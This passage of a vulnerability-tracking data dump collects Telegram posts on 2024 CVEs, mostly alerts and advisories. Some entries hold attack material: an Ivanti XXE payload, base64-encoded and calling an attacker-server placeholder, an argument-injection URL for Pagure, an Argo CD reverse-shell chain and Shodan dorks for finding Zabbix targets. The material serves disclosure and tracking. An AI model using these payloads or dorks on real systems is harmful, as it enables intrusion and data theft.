\u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0436\u0435\u0440\u0442\u0432\u0430 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u0442 \u043d\u0430 marketing.victim.com \u043e\u0442 \u0435\u0451 \u043b\u0438\u0446\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f POST \u0437\u0430\u043f\u0440\u043e\u0441 \u043a API Argo CD \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 Application, \u0433\u0434\u0435 repoURL \u2013 github \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e: Bad Pods \u0441 reverse shell, Cluster Admin \u043f\u0440\u0430\u0432\u0430 \u0438 \u0442.\u0434. \u0412\u0441\u0451 \u044d\u0442\u043e \u0437\u0430\u0434\u0435\u043f\u043b\u043e\u0438\u0442\u0441\u044f \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435.\n\n\u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0432 \u0437\u0430\u043c\u0435\u0442\u043a\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041f\u0440\u0438\u043a\u043e\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u043c Kubernetes.", "creation_timestamp": "2024-04-02T10:51:17.000000Z"}, {"uuid": "d41c416d-04d0-403a-baed-a3ed323d6733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22033", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/5127", "content": "PoC'\u0438 \u043a\u0440\u0430\u0441\u0438\u0432\u044b\u0435\n\n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-4981 \u0438 CVE-2024-47515 \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0430\u0440\u0445\u0438\u0432\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\n\n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-4982 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 view_issue_raw_file() \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0447\u0435\u0440\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \"/..\" \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e Issue. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u043e\u0434 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\n\n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-47516 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 PagureRepo.log(), \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \"git\" \u0441 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0432\u0435\u0442\u043a\u0438 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \"/usr/bin/git --pretty=oneline --abbrev-commit  -- README.md\"). \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u043e\u043f\u0446\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \"--output=/tmp/foo.bar\" \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u0432 \u0444\u0430\u0439\u043b. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u0438\u0434\u0430:\n\n   http://pagure.local:5000/test/history/README.md?identifier=--output=/tmp/foo.bar\n\n- \u0412 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 OBS (Open Build Service), \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0432 openSUSE \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u0443\u0433\u0438\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-22033), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 27 \u0438\u044e\u043d\u044f 2024 \u0433\u043e\u0434\u0430, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0443 openSUSE 29 \u0438\u044e\u043d\u044f \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 10 \u0438\u044e\u043b\u044f.\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Pagure \u0438 OBS, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0432\u0448\u0438\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 Fedora \u0438 openSUSE\nhttps://www.opennet.ru/opennews/art.shtml?num=62928\n\n\u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\nhttps://fenrisk.com/supply-chain-attacks\n\n\u0414\u043e\u043a\u043b\u0430\u0434 \u0431\u044b\u043b \u0441\u0434\u0435\u043b\u0430\u043d \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 insomni'hack 2025 (https://insomnihack.ch/), \u0441\u043b\u0430\u0439\u0434\u044b \u0441\u043a\u0438\u043d\u0443 \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u044b", "creation_timestamp": "2025-03-22T21:04:30.000000Z"}, {"uuid": "a86181b0-ac03-478c-8f07-8fca978e9a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22722", "type": "published-proof-of-concept", "source": "Telegram/yHnfFcJmN27W7yNIp17KFc8vMEeaxm03MHjNIxWNerQLDCY", "content": "", "creation_timestamp": "2025-09-06T03:00:05.000000Z"}, {"uuid": "e4dc3635-7534-4826-81eb-f43c8140ec8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "https://t.me/CyberGovIL/1917", "content": "[\u05e2\u05d3\u05db\u05d5\u05df5] \u05d4\u05ea\u05e8\u05e2\u05d4 \u05d3\u05d7\u05d5\u05e4\u05d4: \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9 Ivanti\n\n[\u05e2\u05d3\u05db\u05d5\u05df5] \u05dc\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4 \u05e4\u05e8\u05e1\u05de\u05d4 \u05d7\u05d1\u05e8\u05ea Ivanti \u05de\u05d9\u05d3\u05e2 \u05e2\u05dc 5 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9\u05d4.\n\n[\u05e2\u05d3\u05db\u05d5\u05df5] \u05d7\u05dc\u05e7 \u05de\u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9 VPN \u05de\u05e1\u05d5\u05d2 Ivanti Connect/Policy Secure \u05e0\u05d9\u05ea\u05e0\u05d5\u05ea \u05dc\u05e9\u05e8\u05e9\u05d5\u05e8, \u05d1\u05d0\u05d5\u05e4\u05df \u05d4\u05de\u05d0\u05e4\u05e9\u05e8 \u05d4\u05e9\u05ea\u05dc\u05d8\u05d5\u05ea \u05de\u05e8\u05d7\u05d5\u05e7 \u05e2\u05dc \u05d4\u05e6\u05d9\u05d5\u05d3 \u05dc\u05dc\u05d0 \u05e6\u05d5\u05e8\u05da \u05d1\u05d4\u05d6\u05d3\u05d4\u05d5\u05ea. \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d0\u05dc\u05d4 \u05de\u05e0\u05d5\u05e6\u05dc\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\u05dc \u05d9\u05d3\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05e8\u05d1\u05d9\u05dd \u05d1\u05e2\u05d5\u05dc\u05dd.\n\n[\u05e2\u05d3\u05db\u05d5\u05df4] \u05d9\u05e9 \u05dc\u05d1\u05d7\u05d5\u05df \u05d5\u05dc\u05d4\u05ea\u05e7\u05d9\u05df \u05de\u05d9\u05d9\u05d3\u05d9\u05ea \u05d0\u05ea \u05d0\u05d7\u05ea \u05d4\u05d2\u05e8\u05e1\u05d0\u05d5\u05ea \u05d4\u05e2\u05d3\u05db\u05e0\u05d9\u05d5\u05ea, \u05d2\u05dd \u05d0\u05dd \u05d4\u05d3\u05d1\u05e8 \u05de\u05d7\u05d9\u05d9\u05d1 \u05e9\u05d3\u05e8\u05d5\u05d2 \u05de\u05d2\u05e8\u05e1\u05d4 \u05d9\u05e9\u05e0\u05d4 \u05d9\u05d5\u05ea\u05e8, \u05d0\u05d5 \u05d0\u05e3 \u05e9\u05e0\u05de\u05d5\u05da \u05de\u05d2\u05e8\u05e1\u05d4 \u05d2\u05d1\u05d5\u05d4\u05d4 \u05d9\u05d5\u05ea\u05e8. \u05d4\u05de\u05d4\u05dc\u05da \u05de\u05d7\u05d9\u05d9\u05d1 \u05d1\u05d9\u05e6\u05d5\u05e2 Factory Reset \u05dc\u05e6\u05d9\u05d5\u05d3, \u05d5\u05e6\u05e2\u05d3\u05d9\u05dd \u05de\u05e9\u05dc\u05d9\u05de\u05d9\u05dd \u05e0\u05d5\u05e1\u05e4\u05d9\u05dd, \u05db\u05de\u05e4\u05d5\u05e8\u05d8 \u05dc\u05d4\u05dc\u05df \u05d5\u05d1\u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd \u05d4\u05e9\u05d5\u05e0\u05d9\u05dd \u05d1\u05e1\u05e2\u05d9\u05e3 \"\u05de\u05e7\u05d5\u05e8\u05d5\u05ea\".\n\n[\u05e2\u05d3\u05db\u05d5\u05df5] \u05de\u05d9 \u05e9\u05d1\u05d9\u05e6\u05e2 Factory Reset, \u05d9\u05e9 \u05dc\u05d5\u05d5\u05d3\u05d0 \u05db\u05d9 \u05de\u05d5\u05ea\u05e7\u05e0\u05ea \u05d1\u05e6\u05d9\u05d5\u05d3 \u05d2\u05e8\u05e1\u05d4 \u05d4\u05db\u05d5\u05dc\u05dc\u05ea \u05de\u05e2\u05e0\u05d4 \u05dc\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05d4\u05d7\u05d3\u05e9\u05d4 \u05d1\u05d9\u05d5\u05ea\u05e8, \u05de\u05e1\u05d5\u05d2 XXE, \u05e9\u05de\u05d6\u05d5\u05d4\u05d4 \u05db-CVE-2024-22024.\n\n\n\u05dc\u05d4\u05e6\u05d8\u05e8\u05e4\u05d5\u05ea \u05dc\u05e7\u05d1\u05dc\u05ea \u05d4\u05ea\u05e8\u05d0\u05d5\u05ea \ud83d\udd17\n\u05d5\u05d5\u05d0\u05d8\u05e1\u05d0\u05e4 https://shortlnk.net/WhatsApp\n\u05d8\u05dc\u05d2\u05e8\u05dd https://shortlnk.net/Telegram", "creation_timestamp": "2024-02-12T20:00:49.000000Z"}, {"uuid": "6f32849a-0e87-4052-aa7a-59b2e68aa4ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/37", "content": "CVE-2024-22024,  XXE on Ivanti Connect Secure\n\npayload , encode it to base64:\n\n %xxe;]>\n\n  send it to  127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest \n\n#bugbountytips #cve #infosec", "creation_timestamp": "2025-01-15T19:02:47.000000Z"}, {"uuid": "b2483eea-155a-45d5-93ec-473ede724e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/207", "content": "\ud83d\udea8 CVE-2024-22024 - Ivanti Connect Secure XXE Exploit (SAMLRequest Injection)\n\n\ud83d\udee0 This critical vulnerability allows XML External Entity (XXE) injection via a crafted SAMLRequest parameter \u2014 enabling attackers to read internal files, SSRF, or exfiltrate data.\n\n\ud83e\udde0 Vulnerable Endpoint:\nPOST /dana-na/auth/saml-sso.cgi\n\n\ud83d\udce6 Injection Vector:\nThe vulnerability is triggered when the server processes a malicious SAMLRequest (XML-based SAML input) containing an external entity.\n\n\ud83d\udca5 Exploit Payload (Before Encoding):\n\n\n  %xxe;\n]>\n\n\ud83d\udd10 Replace {{attacker-server}} with your Burp Collaborator or HTTP listener.\n\n\ud83e\uddec Base64-Encoded Payload:\nEncode the full XML above using base64, then send it as a SAMLRequest parameter like:\nPOST /dana-na/auth/saml-sso.cgi\nContent-Type: application/x-www-form-urlencoded\nSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjxET0NUWVBFIG5hbWU9InJvb3QiIFtdPCEtLSFFTlRJVFkgJSB4eGUgU1lTVEVNICJodHRwOi8ve3thdHRhY2tlci1zZXJ2ZXJ9fS94Ij4gJSB4eGU7XT48cj48L3I+\n\ud83d\udd0e Tip: Always double-check the encoding and test with tools like Burp Suite or Postman.\n\n\ud83d\udcd6 Reference:\n\ud83d\udd17 CVE Info\n\ud83d\udcdc Ivanti Advisory\n\ud83d\udd25 CVE-2024-22024 POC\n\n\ud83d\udd25 Impact: File read, SSRF, possible credential theft.\n\ud83d\udca1 Mitigation: Update to the latest patched version. Disable XML entity resolution on the parser.\n\n\ud83d\udce2 For more critical CVEs, PoCs, and bug bounty tactics, join us at \ud83d\udc49 @cybersecplayground\n\n\ud83d\udcac Like & Share to support the community.\n#bugbountytips #cve #infosec #xxe #saml #ivanti #exploit #cybersecurity #bugbounty #cybersec", "creation_timestamp": "2025-05-19T14:15:20.000000Z"}, {"uuid": "e312f168-6d8d-41d5-a804-dff52a7dc4cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/240", "content": "\ud83d\udea8 Alert: CVE-2024-22120 \u2013 Zabbix SQLi \u2192 RCE Attack Chain\nCVSS Score: 9.1 (Critical)\nAffects: \ud83d\udda5 Popular monitoring system Zabbix\n\n\ud83d\udd25 PoC & Exploits:\n\ud83e\uddea Official Bug Tracker: ZBX-24505\n\ud83d\udca5 Exploit Script: GitHub \u2013 CVE-2024-22120-RCE\n\n\u26a0\ufe0f What\u2019s the Risk?\nThis is a time-based SQL injection vulnerability that could:\n\u2022 Leak sensitive DB info\n\u2022 Escalate privileges\n\u2022 Lead to full Remote Code Execution (RCE) on Zabbix servers\n\n\ud83d\udef0 Track Vulnerable Targets:\nHunter is currently under maintenance \ud83d\udee0, so use these dorks instead:\n\n\ud83d\udd0e  FOFA:\napp=\"ZABBIX-Monitoring\"\n \n\ud83d\udd0e  Shodan:\nhttp.component:\"Zabbix\"\n\n\ud83d\udd0e  Hunter (when online):\nproduct.name=\"Zabbix\"\n\n\ud83d\udcf0 More Details:\nSecurityOnline Advisory\n\n\ud83c\udfaf Impact:\nZabbix is widely used in enterprises for infrastructure monitoring. An RCE here = access to entire internal networks, critical alerts, server health, and more.\n\n\ud83d\udce2 Patch or mitigate immediately!\n\nFollow @cybersecplayground for daily vulnerability alerts, PoCs, recon tips & red team tactics.\n\ud83d\udcac Like + \ud83d\udd01 Share to warn your team or community!\n\n#Zabbix #RCE #CVE2024 #infosec #bugbounty #cybersecplayground #vulnerability #sqlinjection #redteam", "creation_timestamp": "2025-06-30T09:09:25.000000Z"}, {"uuid": "840e80b5-c7a3-472f-8068-e7965fa2c8e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/someSecurityNotes/312", "content": "#spring #exploit #cve-2024-22263 #walkthrough\n\n\u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0431\u0430\u0433\u0430 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Spring Cloud Data Flow \u0438\u0437 \u0441\u043e\u0441\u0442\u0430\u0432\u0430 \u0421\u043f\u0440\u0438\u043d\u0433\u0430. \u041d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0447\u0442\u043e \u043e\u043d \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d, \u043d\u043e \u044f \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0441\u0442\u0430\u0442\u044c\u044f \u0445\u043e\u0440\u043e\u0448\u0430 \u0442\u0435\u043c \u0447\u0442\u043e \u0432 \u043d\u0435\u0439 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043a\u0430\u0437\u0430\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0431\u0430\u0433\u0430.\n\nhttps://blog.securelayer7.net/spring-cloud-data-flow-exploit/", "creation_timestamp": "2024-08-27T00:28:12.000000Z"}, {"uuid": "052d6ef8-95cd-4fcc-a414-39b11eab7b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "Telegram/NfzkBQhet1yGC8sBwvKJoq4qxmh_K1vN_5vVwW7xcxrXW-s", "content": "", "creation_timestamp": "2025-06-30T09:10:03.000000Z"}, {"uuid": "dfbdbb1a-a455-4edb-af64-496724ce4545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22351", "type": "seen", "source": "https://t.me/cvedetector/23626", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22351 - IBM InfoSphere Information Server Authentication Session Impersonation\", \n  \"Content\": \"CVE ID : CVE-2024-22351 \nPublished : April 23, 2025, 11:15 p.m. | 1\u00a0hour, 8\u00a0minutes ago \nDescription : IBM InfoSphere Information 11.7 Server does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-24T03:01:45.000000Z"}, {"uuid": "c7df378e-528a-4da3-94b7-27dd691deeb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22406", "type": "seen", "source": "https://t.me/cvedetector/23032", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-27892 - Shopware SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-27892 \nPublished : April 15, 2025, 10:15 p.m. | 1\u00a0hour, 7\u00a0minutes ago \nDescription : Shopware prior to version 6.5.8.13 is affected by a SQL injection vulnerability in the /api/search/order endpoint. NOTE: this issue exists because of a CVE-2024-22406 and CVE-2024-42357 regression. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T01:49:06.000000Z"}, {"uuid": "3206adf0-1623-429a-a76b-bd9740c13f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22036", "type": "seen", "source": "https://t.me/cvedetector/23086", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22036 - Rancher Chroot Jail Escape and Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-22036 \nPublished : April 16, 2025, 9:15 a.m. | 2\u00a0hours, 15\u00a0minutes ago \nDescription : A vulnerability has been identified within Rancher where a cluster or node driver can be used to escape the chroot  \n jail and gain root access to the Rancher container itself. In   \nproduction environments, further privilege escalation is possible based   \non living off the land within the Rancher container itself. For the test  \n and development environments, based on a \u2013privileged Docker container,   \nit is possible to escape the Docker container and gain execution access   \non the host system.  \n  \n  \nThis issue affects rancher: from 2.7.0 before 2.7.16, from 2.8.0 before 2.8.9, from 2.9.0 before 2.9.3. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-16T13:32:16.000000Z"}, {"uuid": "b78bc9f9-f4bd-4b6c-ae07-a7d330a53758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22314", "type": "seen", "source": "https://t.me/cvedetector/23142", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-22314 - IBM Storage Defender Resiliency Service Weak Cryptographic Algorithm Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-22314 \nPublished : April 16, 2025, 5:15 p.m. | 28\u00a0minutes ago \nDescription : IBM Storage Defender - Resiliency 